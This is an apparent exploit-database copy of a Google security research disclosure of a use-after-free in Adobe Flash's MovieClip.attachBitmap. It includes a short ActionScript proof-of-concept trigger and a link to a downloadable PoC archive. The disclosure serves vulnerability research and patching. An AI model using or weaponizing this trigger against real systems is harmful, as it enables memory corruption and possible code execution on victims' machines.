24 lines
No EOL
653 B
Text
24 lines
No EOL
653 B
Text
Source: https://code.google.com/p/google-security-research/issues/detail?id=593
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There is a use-after-free in MovieClip.attachBitmap. If the depth parameter is an object with valueOf defined, this method can free the MovieClip, which is then used.
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A minimal PoC follows:
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this.createEmptyMovieClip("mc", 1);
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var b = new flash.display.BitmapData(100, 100, true, 0x77777777);
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mc.attachBitmap( b, {valueOf : func });
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function func(){
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mc.removeMovieClip();
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// Fix heap here
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return 5;
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}
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Proof of Concept:
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https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/39040.zip |